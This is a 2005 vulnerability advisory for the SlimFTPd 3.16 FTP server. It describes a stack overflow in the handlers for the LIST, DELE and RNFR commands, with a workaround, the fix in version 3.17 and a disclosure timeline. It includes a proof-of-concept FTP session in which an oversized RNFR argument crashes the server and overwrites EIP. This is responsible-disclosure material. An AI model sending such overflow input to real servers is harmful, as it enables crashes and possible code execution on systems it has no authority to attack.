Arbitrary code execution in SlimFTPd v3.16

               Arbitrary code execution in SlimFTPd v3.16

                       discovered by Raphaël Rigo

Product: SlimFTPd by WhitSoft Development
Affected Version: 3.16 (verified), <=3.16 probably too
Not affected Version: 3.17
OS affected: All Win32
Risk: Critical
Remote Exploit: yes
URL: http://www.whitsoftdev.com/slimftpd/

Overview
========

SlimFTPd is a fully standards-compliant FTP server implementation with an
advanced virtual file system. It is extremely small, but don't let its file
size deceive you: SlimFTPd packs a lot of bang for the kilobyte. It is written
in pure Win32 C++ with no external dependencies and no messy installer.
SlimFTPd is a fully multi-threaded application that runs as a system service on
Windows 98/ME or Windows NT/2K/XP, and it comes with a tool to simplify its
installation or uninstallation as a system service. Once the service is
started, SlimFTPd runs quietly in the background. It reads its configuration
from a config file in the same folder as the executable, and it outputs all
activity to a log file in the same place. The virtual file system allows you
to mount any local drive or path to any virtual path on the server. This allows
you to have multiple local drives represented on the server's virtual file
system or just different folders from the same drive. SlimFTPd allows you to
set individual permissions for server paths. Open slimftpd.conf in your
favorite text editor to set up SlimFTPd's configuration. The format of
SlimFTPd's config file is similar to Apache Web Server's for those familiar
with Apache.

Vulnerability
=============

         An unchecked string concatenation allows a classic stack overflow.

         Details :
         The handler for the LIST, DELE and RNFR commands builds a string by
         concatenating the current directory with the requested dir/file.
         The requested and current directory can occupy up to 512 bytes, as
         the destination buffer, which can therefore be overflowed.
         The minimal length for the current remote directory to allow
         exploitation is 8 chars.

         Risk : Critical
         The attacker may execute arbitrary code with the privileges of the
         user the server is running as.
         This risk is mitigated by the need to be logged in.

         Proof of concept :
         ftp> open localhost
         Connected to localhost.
         220-SlimFTPd 3.16, by WhitSoft Development (www.whitsoftdev.com)
         220-You are connecting from localhost:2687.
         220 Proceed with login.
            User (localhost:(none)) : bleh
         331 Need password for user "bleh".
         Password :
         230 User "bleh" logged in.
         ftp> cd 123456789
          250 "/123456789" is now current directory.
         ftp> quote RNFR 123456789012345678901234567890123456789012345678901234
         5678901234567890123456789012345678901234567890123456789012345678901234
         5678901234567890123456789012345678901234567890123456789012345678901234
         5678901234567890123456789012345678901234567890123456789012345678901234
         5678901234567890123456789012345678901234567890123456789012345678901234
         5678901234567890123456789012345678901234567890123456789012345678901234
         5678901234567890123456789012345678901234567890123456789012345678901234
         5678901234567890123456789012345
         Connection closed.

         SlimFTPd crashes at eip 0x35343332.

         Workaround :
         Disable List and Write rights.

         Solution :
         Update to v3.17

         -----------------------------------------------------------------------

Acknowledgments
==============

Thanks to the developer for quick response and fix.

Timeline
========
2005-07-07        Discovery
2005-07-08        First attempt to contact developer
2005-07-08        Developer reply
2005-07-11        Fixed version 3.17 released
2005-07-21        Advisory published